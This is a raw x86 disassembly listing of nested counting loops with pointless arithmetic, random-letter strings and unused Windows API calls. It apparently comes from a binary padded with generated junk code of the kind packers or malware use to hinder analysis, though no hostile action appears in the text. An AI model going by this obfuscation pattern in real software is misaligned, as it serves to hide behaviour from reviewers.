and dword [ebp - 0x2b8], 0
jmp 0x463e2a
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x6ba6
jge 0x463e94
mov eax, dword [ebp - 0x2a0]
imul eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2b0]
sub ecx, eax
sub ecx, dword [ebp - 0x2b8]
mov eax, ecx
cdq
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 0x8b4], edx
push dword [ebp - 0x8b4]
push dword [ebp - 0x8b8]
lea ecx, [ebp - 0xe68]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xe68]
call fcn.004026e0
jmp 0x463e1d
jmp 0x463df7
jmp 0x463dd1
jmp 0x463dab
cmp dword [ebp - 0x5d8], 0x61ef
jle 0x4642ab
mov dword [ebp - 0x5b8], 0x22aa
mov dword [ebp - 0xb04], str.sblmc_vlchhrhtr_qik_kimcfx_hjgyr
cmp dword [ebp - 0x5b8], 0x22c9
jle 0x463f5b
and dword [ebp - 0x2c0], 0
jmp 0x463eed
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x37cb
jge 0x463f4e
and dword [ebp - 0x2c8], 0
jmp 0x463f0f
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x6a22
jge 0x463f4c
mov eax, dword [ebp - 0x2c0]
add eax, dword [ebp - 0x2c8]
cdq
mov dword [ebp - 0x8c8], eax
mov dword [ebp - 0x8c4], edx
push dword [ebp - 0x8c4]
push dword [ebp - 0x8c8]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x463f02
jmp 0x463ee0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
and dword [ebp - 0x2f8], 0
jmp 0x463f71
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x50a5
jge 0x464262
and dword [ebp - 0x2e0], 0
jmp 0x463f97
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0xe39
jge 0x46425d
and dword [ebp - 0x2e8], 0
jmp 0x463fbd
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x1b15
jge 0x464258
and dword [ebp - 0x2f0], 0
jmp 0x463fe3
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x4a2b
jge 0x464253
mov dword [ebp - 0x5a8], 0x294f
mov dword [ebp - 0x65c], str.yrqesia_mvcprs_zxtuqpq_kshhp_lgqnb_gxmnempm_yujcmpxvf_scf
cmp dword [ebp - 0x5a8], 0x2a76
jle 0x4640af
and dword [ebp - 0x2d0], 0
jmp 0x46402d
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x2b33
jge 0x4640af
and dword [ebp - 0x2d8], 0
jmp 0x46404f
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x3746
jge 0x4640aa
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [ebp - 0x2d8]
sar eax, cl
cdq
mov dword [ebp - 0x8d8], eax
mov dword [ebp - 0x8d4], edx
push dword [ebp - 0x8d4]
push dword [ebp - 0x8d8]
lea ecx, [ebp - 0xe98]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xe98]
call fcn.004026e0
jmp 0x464042
jmp 0x464020
mov ecx, dword [ebp - 0x2e0]
add ecx, dword [ebp - 0x2e8]
add ecx, dword [ebp - 0x2f0]
mov eax, dword [ebp - 0x2f8]
sar eax, cl
cdq
mov dword [ebp - 0x8f8], eax
mov dword [ebp - 0x8f4], edx
mov dword [ebp - 4], 0x9a
cmp dword [ebp - 0x5a8], 0x27ef
jge 0x4640f5
push dword [ebp - 0x65c]
call fcn.00482ed5
pop ecx
jmp 0x464111
or dword [ebp - 4], 0xffffffff
jmp 0x46411b
mov dword [ebp - 0x5b0], 0x283c
mov dword [ebp - 0x838], str.sepiozhbl_wzgbz_jplu_fcakak_qsyrtcevx_nstmc_arfl_pdtn_ubrl
cmp dword [ebp - 0x5b0], 0x29d6
jle 0x4641ef
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
and dword [ebp - 0x300], 0
jmp 0x46415b
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0x71a3
jge 0x4641ef
and dword [ebp - 0x308], 0
jmp 0x464181
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x5039
jge 0x4641ea
and dword [ebp - 0x310], 0
jmp 0x4641a3
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x1f17
jge 0x4641e8
mov eax, dword [ebp - 0x300]
imul eax, dword [ebp - 0x308]
imul eax, dword [ebp - 0x310]
cdq
mov dword [ebp - 0x8e8], eax
mov dword [ebp - 0x8e4], edx
push dword [ebp - 0x8e4]
push dword [ebp - 0x8e8]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x464196
jmp 0x464174
jmp 0x46414e
push dword [ebp - 0x8f4]
push dword [ebp - 0x8f8]
mov ecx, 0xab96a0
call fcn.0047e22e
mov dword [ebp - 4], 0x9c
cmp dword [ebp - 0x5b0], 0x278e
jge 0x464228
mov edx, dword [ebp - 0x838]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x464244
or dword [ebp - 4], 0xffffffff
jmp 0x46424e
jmp 0x463fd6
jmp 0x463fb0
jmp 0x463f8a
jmp 0x463f64
mov dword [ebp - 4], 0x9e
cmp dword [ebp - 0x5b8], 0x20d9
jge 0x464285
mov edx, dword [ebp - 0xb04]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x4642a1
or dword [ebp - 4], 0xffffffff
jmp 0x4642ab
mov dword [ebp - 4], 0xa0
cmp dword [ebp - 0x5c0], 0x514a
jge 0x4642ca
push dword [ebp - 0x844]
call fcn.00482ed5
pop ecx
jmp 0x4642e6
or dword [ebp - 4], 0xffffffff
jmp 0x4642f0
mov dword [ebp - 0x5d0], 0x4b22
mov dword [ebp - 0x850], str.ljqfuhkiv_ljy_nscq_zrzvp_tdymfxfbm_udgifasce
cmp dword [ebp - 0x5d0], 0x4dd6
jle 0x464388
and dword [ebp - 0x318], 0
jmp 0x464326
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x845
jge 0x464388
and dword [ebp - 0x320], 0
jmp 0x464348
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x7ba0
jge 0x464386
mov eax, dword [ebp - 0x318]
imul eax, dword [ebp - 0x320]
cdq
mov dword [ebp - 0x908], eax
mov dword [ebp - 0x904], edx
push dword [ebp - 0x904]
push dword [ebp - 0x908]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x46433b
jmp 0x464319
cmp dword [ebp - 0x14], 6
jne 0x46447d
mov dword [ebp - 0x5c8], 0x478
mov dword [ebp - 0xa74], str.rruaqggqx_fng_wuptncpk_uywy_tjt_fwp_utwnsh_hjxpwnm_gliyptl_qidajggq_fxapt_lryxvgz_ozppx_rtrlqj
cmp dword [ebp - 0x5c8], 0x582
jle 0x464429
and dword [ebp - 0x328], 0
jmp 0x4643c8
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x4ca1
jge 0x464429
and dword [ebp - 0x330], 0
jmp 0x4643ea
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x396
jge 0x464427
mov eax, dword [ebp - 0x328]
sub eax, dword [ebp - 0x330]
cdq
mov dword [ebp - 0x918], eax
mov dword [ebp - 0x914], edx
push dword [ebp - 0x914]
push dword [ebp - 0x918]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4643dd
jmp 0x4643bb
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00459606
pop ecx
mov dword [ebp - 4], 0xa2
cmp dword [ebp - 0x5c8], 0x3a6
jge 0x464457
mov edx, dword [ebp - 0xa74]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x464473
or dword [ebp - 4], 0xffffffff
jmp 0x46447d
mov dword [ebp - 4], 0xa4
cmp dword [ebp - 0x5d0], 0x4a67
jge 0x4644a0
mov edx, dword [ebp - 0x850]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x4644bc
or dword [ebp - 4], 0xffffffff
jmp 0x4644c6
mov dword [ebp - 0x5e0], 0x5988
mov dword [ebp - 0x85c], str.smayfaykh_vnpfagod_jdzo_gpsgeu_rgdhntt_inm_tllu_usxf_xvnzty_fwdxko
cmp dword [ebp - 0x5e0], 0x5c83
jle 0x4645c3
and dword [ebp - 0x338], 0
jmp 0x464500
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x5ee5
jge 0x4645c3
and dword [ebp - 0x340], 0
jmp 0x464526
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0xd86
jge 0x4645be
and dword [ebp - 0x348], 0
jmp 0x46454c
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x7e33
jge 0x4645b9
and dword [ebp - 0x350], 0
jmp 0x46456e
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x2030
jge 0x4645b7
mov eax, dword [ebp - 0x338]
sub eax, dword [ebp - 0x340]
sub eax, dword [ebp - 0x348]
sub eax, dword [ebp - 0x350]
cdq
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x924], edx
push dword [ebp - 0x924]
push dword [ebp - 0x928]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x464561
jmp 0x46453f
jmp 0x464519
jmp 0x4644f3
mov dword [ebp - 4], 0xa6
cmp dword [ebp - 0x5d8], 0x5f34
jge 0x4645e6
mov edx, dword [ebp - 0xacc]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x464602
or dword [ebp - 4], 0xffffffff
jmp 0x46460c
mov dword [ebp - 4], 0xa8
cmp dword [ebp - 0x5e0], 0x58d9
jge 0x46462f
mov edx, dword [ebp - 0x85c]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x46464b
or dword [ebp - 4], 0xffffffff
jmp 0x464655
mov dword [ebp - 0x638], 0x2d3d
mov dword [ebp - 0xa0c], str.olrkqxcmc_cobxbp_kym_cmekojx_zajepvbsk
mov dword [ebp - 0x608], 0x57bb
mov dword [ebp - 0xa8c], str.vzu_cxa_ychhjt_aeka
cmp dword [ebp - 0x608], 0x59d7
jle 0x464711
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
and dword [ebp - 0x358], 0
jmp 0x4646b0
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x6cec
jge 0x464711
and dword [ebp - 0x360], 0
jmp 0x4646d2
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0xcaf
jge 0x46470f
mov eax, dword [ebp - 0x358]
add eax, dword [ebp - 0x360]
cdq
mov dword [ebp - 0x938], eax
mov dword [ebp - 0x934], edx
push dword [ebp - 0x934]
push dword [ebp - 0x938]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4646c5
jmp 0x4646a3
cmp dword [ebp - 0x638], 0x2f84
jle 0x464d33
mov dword [ebp - 0x5e8], 0x3de6
mov dword [ebp - 0xa80], str.ewf_wudbqwqhd_tflgy_nfeedtc_mwi_nzsg_vwuhpg
cmp dword [ebp - 0x5e8], 0x3f5a
jle 0x464843
and dword [ebp - 0x378], 0
jmp 0x46475b
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0x1a72
jge 0x464843
and dword [ebp - 0x368], 0
jmp 0x464781
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x27da
jge 0x46483e
and dword [ebp - 0x370], 0
jmp 0x4647a7
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0xbab
jge 0x464839
and dword [ebp - 0x380], 0
jmp 0x4647cd
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x184b
jge 0x464834
mov ecx, dword [ebp - 0x368]
add ecx, dword [ebp - 0x370]
mov eax, dword [ebp - 0x378]
shl eax, cl
or eax, dword [ebp - 0x380]
cdq
mov dword [ebp - 0x948], eax
mov dword [ebp - 0x944], edx
push dword [ebp - 0x944]
push dword [ebp - 0x948]
lea ecx, [ebp - 0xec8]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xec8]
call fcn.004026e0
jmp 0x4647c0
jmp 0x46479a
jmp 0x464774
jmp 0x46474e
push 0xc32
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
mov dword [ebp - 4], 0xaa
cmp dword [ebp - 0x5e8], 0x3c7f
jge 0x46487b
push dword [ebp - 0xa80]
call fcn.00482ed5
pop ecx
jmp 0x464897
or dword [ebp - 4], 0xffffffff
jmp 0x4648a1
mov dword [ebp - 0x600], 0x71ce
mov dword [ebp - 0x874], str.jzddofz_yfmbliwma_twmybnwb_pcdm_qmwcpyxpp_jvepx_qkqgdiams
cmp dword [ebp - 0x600], 0x7494
jle 0x4649ac
and dword [ebp - 0x388], 0
jmp 0x4648db
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x6c20
jge 0x4649a2
and dword [ebp - 0x390], 0
jmp 0x464901
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x6776
jge 0x46499d
and dword [ebp - 0x398], 0
jmp 0x464927
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x70c2
jge 0x464998
and dword [ebp - 0x3a0], 0
jmp 0x464949
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x37a5
jge 0x464996
mov eax, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x390]
shl eax, cl
mov ecx, dword [ebp - 0x398]
and ecx, dword [ebp - 0x3a0]
xor eax, ecx
cdq
mov dword [ebp - 0x958], eax
mov dword [ebp - 0x954], edx
push dword [ebp - 0x954]
push dword [ebp - 0x958]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x46493c
jmp 0x46491a
jmp 0x4648f4
jmp 0x4648ce
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
and dword [ebp - 0x3e0], 0
jmp 0x4649c2
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x2107
jge 0x464cea
and dword [ebp - 0x3e8], 0
jmp 0x4649e8
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0x4f6f
jge 0x464ce5
mov dword [ebp - 0x5f8], 0x257c
mov dword [ebp - 0xaec], str.pam_buuen_thuolkf_ykrpim_auepi_xwevfbb
cmp dword [ebp - 0x5f8], 0x277e
jle 0x464b02
and dword [ebp - 0x3a8], 0
jmp 0x464a32
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x66a5
jge 0x464af8
and dword [ebp - 0x3b0], 0
jmp 0x464a58
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x1912
jge 0x464af3
and dword [ebp - 0x3b8], 0
jmp 0x464a7e
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0x3560
jge 0x464aee
and dword [ebp - 0x3c0], 0
jmp 0x464aa0
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0x66ab
jge 0x464aec
mov eax, dword [ebp - 0x3a8]
cdq
idiv dword [ebp - 0x3b0]
xor edx, dword [ebp - 0x3b8]
xor edx, dword [ebp - 0x3c0]
mov eax, edx
cdq
mov dword [ebp - 0x968], eax
mov dword [ebp - 0x964], edx
push dword [ebp - 0x964]
push dword [ebp - 0x968]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x464a93
jmp 0x464a71
jmp 0x464a4b
jmp 0x464a25
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
and dword [ebp - 0x3f0], 0
jmp 0x464b18
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x71a1
jge 0x464c97
mov dword [ebp - 0x5f0], 0x4d9a
mov dword [ebp - 0x868], str.ciccsoyt_ycjz_cgsijfhp_qnekgxg_hgxeq_iqc_vxzsz_gjrawbapo_jlvscqyk_riazuimf_dsvnjc
cmp dword [ebp - 0x5f0], 0x4ef5
jle 0x464bf6
and dword [ebp - 0x3c8], 0
jmp 0x464b62
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x6c24
jge 0x464bf6
and dword [ebp - 0x3d0], 0
jmp 0x464b88
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x4d4f
jge 0x464bf1
and dword [ebp - 0x3d8], 0
jmp 0x464baa
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0x2584
jge 0x464bef
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp - 0x3d8]
sar eax, cl
cdq
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x974], edx
push dword [ebp - 0x974]
push dword [ebp - 0x978]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x464b9d
jmp 0x464b7b
jmp 0x464b55
mov eax, dword [ebp - 0x3e0]
sub eax, dword [ebp - 0x3e8]
mov ecx, dword [ebp - 0x3f0]
shl eax, cl
cdq
mov dword [ebp - 0x988], eax
mov dword [ebp - 0x984], edx
mov dword [ebp - 4], 0xac
cmp dword [ebp - 0x5f0], 0x49c1
jge 0x464c3a
mov edx, dword [ebp - 0x868]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x464c56
or dword [ebp - 4], 0xffffffff
jmp 0x464c60
push dword [ebp - 0x984]
push dword [ebp - 0x988]
lea ecx, [ebp - 0xeec]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xeec]
call fcn.004026e0
jmp 0x464b0b
mov dword [ebp - 4], 0xae
cmp dword [ebp - 0x5f8], 0x225a
jge 0x464cba
mov edx, dword [ebp - 0xaec]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x464cd6
or dword [ebp - 4], 0xffffffff
jmp 0x464ce0
jmp 0x4649db
jmp 0x4649b5
mov dword [ebp - 4], 0xb0
cmp dword [ebp - 0x600], 0x70fb
jge 0x464d0d
mov edx, dword [ebp - 0x874]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x464d29
or dword [ebp - 4], 0xffffffff
jmp 0x464d33
mov dword [ebp - 4], 0xb2
cmp dword [ebp - 0x608], 0x53eb
jge 0x464d56
mov edx, dword [ebp - 0xa8c]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x464d72
or dword [ebp - 4], 0xffffffff
jmp 0x464d7c
cmp dword [ebp - 0x14], 7
jne 0x464ec1
mov dword [ebp - 0x610], 0x7bc5
mov dword [ebp - 0x880], str.cagp_txlbkabv_gjhkcskbg_czbe_rvn_kqhov_ocxyojaem_xsf_ajzsugsz_rkbyiw_nkmsrqu_nxuqgwe_wpkd_vmrad
cmp dword [ebp - 0x610], 0x7dc6
jle 0x464e71
and dword [ebp - 0x408], 0
jmp 0x464dc0
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x3f93
jge 0x464e71
and dword [ebp - 0x3f8], 0
jmp 0x464de6
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0x6747
jge 0x464e6c
and dword [ebp - 0x400], 0
jmp 0x464e08
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x5725
jge 0x464e67
mov eax, dword [ebp - 0x3f8]
sub eax, dword [ebp - 0x400]
and eax, dword [ebp - 0x408]
cdq
mov dword [ebp - 0x998], eax
mov dword [ebp - 0x994], edx
push dword [ebp - 0x994]
push dword [ebp - 0x998]
lea ecx, [ebp - 0xf1c]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xf1c]
call fcn.004026e0
jmp 0x464dfb
jmp 0x464dd9
jmp 0x464db3
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0045b75f
pop ecx
mov dword [ebp - 4], 0xb4
cmp dword [ebp - 0x610], 0x7993
jge 0x464e9b
push dword [ebp - 0x880]
call fcn.00482ed5
pop ecx
jmp 0x464eb7
or dword [ebp - 4], 0xffffffff
jmp 0x464ec1
mov dword [ebp - 0x648], 0x7189
mov dword [ebp - 0xa14], str.znvkslgz_ujha_uxo_eijhslrs_wxxjg_dhwmmiaor
mov dword [ebp - 0x630], 0xcf0
mov dword [ebp - 0x898], str.ctw_ybzo_tqxyscnho_hbazbibz_weofrww_hzfwjysrr_cjrpfjg_kfx_rvmdfirol_adlpr
cmp dword [ebp - 0x630], 0x1038
jle 0x464fc8
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
and dword [ebp - 0x410], 0
jmp 0x464f17
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x689e
jge 0x464fc8
and dword [ebp - 0x418], 0
jmp 0x464f3d
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x47a3
jge 0x464fc3
and dword [ebp - 0x420], 0
jmp 0x464f5f
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0xe6b
jge 0x464fbe
mov eax, dword [ebp - 0x410]
add eax, dword [ebp - 0x418]
add eax, dword [ebp - 0x420]
cdq
mov dword [ebp - 0x9a4], eax
mov dword [ebp - 0x9a0], edx
push dword [ebp - 0x9a0]
push dword [ebp - 0x9a4]
lea ecx, [ebp - 0xf4c]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xf4c]
call fcn.004026e0
jmp 0x464f52
jmp 0x464f30
jmp 0x464f0a
cmp dword [ebp - 0x648], 0x73f5
jle 0x46540a
mov dword [ebp - 0x618], 0x2fcf
mov dword [ebp - 0xa00], str.bhklju_rktbwfw_qzk_witcire_rbuotx_pgbump_twva
cmp dword [ebp - 0x618], 0x30de
jle 0x4650a6
and dword [ebp - 0x428], 0
jmp 0x465012
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x5177
jge 0x4650a6
and dword [ebp - 0x430], 0
jmp 0x465038
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0xbce
jge 0x4650a1
and dword [ebp - 0x438], 0
jmp 0x46505a
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x2839
jge 0x46509f
mov eax, dword [ebp - 0x428]
mov ecx, dword [ebp - 0x430]
shl eax, cl
or eax, dword [ebp - 0x438]
cdq
mov dword [ebp - 0x9b0], eax
mov dword [ebp - 0x9ac], edx
push dword [ebp - 0x9ac]
push dword [ebp - 0x9b0]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x46504d
jmp 0x46502b
jmp 0x465005
push 0
push 0x2179
push 0x1508
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
mov dword [ebp - 4], 0xb6
cmp dword [ebp - 0x618], 0x2e45
jge 0x4650e9
mov edx, dword [ebp - 0xa00]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x465105
or dword [ebp - 4], 0xffffffff
jmp 0x46510f
and dword [ebp - 0x460], 0
jmp 0x465125
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x416e
jge 0x46540a
mov dword [ebp - 0x628], 0x1411
mov dword [ebp - 0xa04], str.bbx_wsxtobv_jxpalnvoa_kstxervfi_mzciamn_bsbyqk_pls
cmp dword [ebp - 0x628], 0x1739
jle 0x465234
and dword [ebp - 0x440], 0
jmp 0x46516f
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0x5888
jge 0x465234
and dword [ebp - 0x448], 0
jmp 0x465195
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0x68a
jge 0x46522f
and dword [ebp - 0x450], 0
jmp 0x4651bb
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0x1942
jge 0x46522a
and dword [ebp - 0x458], 0
jmp 0x4651dd
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0x1513
jge 0x465228
mov eax, dword [ebp - 0x440]
add eax, dword [ebp - 0x448]
mov ecx, dword [ebp - 0x450]
shl eax, cl
xor eax, dword [ebp - 0x458]
cdq
mov dword [ebp - 0x9bc], eax
mov dword [ebp - 0x9b8], edx
push dword [ebp - 0x9b8]
push dword [ebp - 0x9bc]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4651d0
jmp 0x4651ae
jmp 0x465188
jmp 0x465162
and dword [ebp - 0x468], 0
jmp 0x46524a
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0x11ff
jge 0x4653bc
and dword [ebp - 0x470], 0
jmp 0x465270
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0x7b21
jge 0x4653b7
mov eax, dword [ebp - 0x460]
imul eax, dword [ebp - 0x468]
xor eax, dword [ebp - 0x470]
cdq
mov dword [ebp - 0x9d4], eax
mov dword [ebp - 0x9d0], edx
mov dword [ebp - 0x620], 0x571b
mov dword [ebp - 0x88c], str.rbujnrpw_mxnf_puugcgwll_ssjv_lspwvbf_ifwdkp_amqlx_cjguixa_xkrgmgk_sfime
cmp dword [ebp - 0x620], 0x5ab8
jle 0x465337
and dword [ebp - 0x478], 0
jmp 0x4652d6
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0x6512
jge 0x465337
and dword [ebp - 0x480], 0
jmp 0x4652f8
mov eax, dword [ebp - 0x480]
inc eax
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 0x6f72
jge 0x465335
mov eax, dword [ebp - 0x478]
or eax, dword [ebp - 0x480]
cdq
mov dword [ebp - 0x9c8], eax
mov dword [ebp - 0x9c4], edx
push dword [ebp - 0x9c4]
push dword [ebp - 0x9c8]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4652eb
jmp 0x4652c9
push dword [ebp - 0x9d0]
push dword [ebp - 0x9d4]
lea ecx, [ebp - 0xf7c]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xf7c]
call fcn.004026e0
mov dword [ebp - 4], 0xb8
cmp dword [ebp - 0x620], 0x556d
jge 0x46538c
mov edx, dword [ebp - 0x88c]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x4653a8
or dword [ebp - 4], 0xffffffff
jmp 0x4653b2
jmp 0x465263
jmp 0x46523d
